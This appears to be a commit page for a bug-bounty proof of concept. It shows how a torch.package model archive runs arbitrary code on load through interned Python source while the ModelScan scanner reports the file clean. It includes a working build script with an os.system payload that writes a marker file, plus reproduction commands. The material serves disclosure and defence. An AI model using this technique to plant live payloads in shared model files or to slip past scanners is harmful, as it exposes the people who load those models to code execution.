liamramsey commited on
Commit
6459ffe
·
verified ·
1 Parent(s): 788b3d8

Add security-research PoC (benign marker payload)

Browse files
Files changed (3) hide show
  1. README.md +27 -0
  2. build_poc.py +39 -0
  3. malicious.pt +3 -0
README.md ADDED
@@ -0,0 +1,27 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # PoC: ACE in torch.package PackageImporter via interned source (ModelScan bypass)
2
+
3
+ Security research PoC for the huntr.com **Model File Format** bounty program.
4
+ **Benign marker payload only** (writes `/tmp/POC2_PWNED_torch_package`). No destructive or network behavior.
5
+
6
+ ## Summary
7
+ `malicious.pt` is a `torch.package` archive. `torch.package` serializes Python **module source** into the
8
+ `.pt`. When loaded with the normal public API `PackageImporter(file).load_pickle(pkg, resource)`, the importer
9
+ calls `compile()` + `exec()` on the interned source, so a top-level statement in the packaged `.py` runs at
10
+ load time. Protect AI **ModelScan** (v0.8.6) only disassembles pickle bytecode and **explicitly skips the
11
+ `.py` source files**, so it reports **"No issues found!"** on this live-RCE file.
12
+
13
+ ## Reproduce
14
+ ```bash
15
+ pip install torch==2.8.0 modelscan==0.8.6
16
+ # 1) it executes on load:
17
+ python -c "from torch.package import PackageImporter; PackageImporter('malicious.pt').load_pickle('data','model.pkl'); print(open('/tmp/POC2_PWNED_torch_package').read())"
18
+ # -> prints PWNED_torch_package...
19
+ # 2) but the scanner says clean:
20
+ modelscan -p malicious.pt # -> "No issues found!"
21
+ modelscan -p malicious.pt --show-skipped # -> the payload .py is "skipped"
22
+ ```
23
+
24
+ ## Control
25
+ The identical `os.system` payload placed in the **pickle** (via `__reduce__`) inside a torch.package archive
26
+ IS flagged CRITICAL by ModelScan — proving the bypass is the interned-source exec path, not the payload.
27
+ See `build_poc.py`.
build_poc.py ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os, sys
2
+ from torch.package import PackageExporter
3
+
4
+ OUT = "/tmp/malicious_tp.pt"
5
+ SRCDIR = "/tmp/evil_src"
6
+ os.makedirs(SRCDIR, exist_ok=True)
7
+
8
+ # An interned module whose TOP-LEVEL statement runs a benign marker payload.
9
+ # This is NOT in pickle opcodes - it lives in a .py source file inside the zip.
10
+ evil_src = '''
11
+ import os
12
+ # benign marker payload - fires at module import (exec of compiled source)
13
+ os.system('echo PWNED_torch_package_liamramsey > /tmp/POC2_PWNED_torch_package')
14
+
15
+ class EvilModel:
16
+ def __init__(self):
17
+ self.x = 1
18
+ '''
19
+
20
+ modpath = os.path.join(SRCDIR, "evil_model.py")
21
+ with open(modpath, "w") as f:
22
+ f.write(evil_src)
23
+
24
+ sys.path.insert(0, SRCDIR)
25
+ import evil_model # triggers payload at BUILD time too; we'll clean marker after
26
+
27
+ # Make the object to pickle
28
+ obj = evil_model.EvilModel()
29
+
30
+ with PackageExporter(OUT) as pe:
31
+ pe.intern("evil_model")
32
+ pe.save_pickle("data", "model.pkl", obj)
33
+
34
+ print("BUILT", OUT, os.path.getsize(OUT), "bytes")
35
+
36
+ # Remove the marker created during build-time import so load attribution is clean
37
+ if os.path.exists("/tmp/POC2_PWNED_torch_package"):
38
+ os.remove("/tmp/POC2_PWNED_torch_package")
39
+ print("cleaned build-time marker")
malicious.pt ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:49531fff57a4c2466ac05c7892fa4d9060f4433eb7eed36cb3ceca281801cbea
3
+ size 1702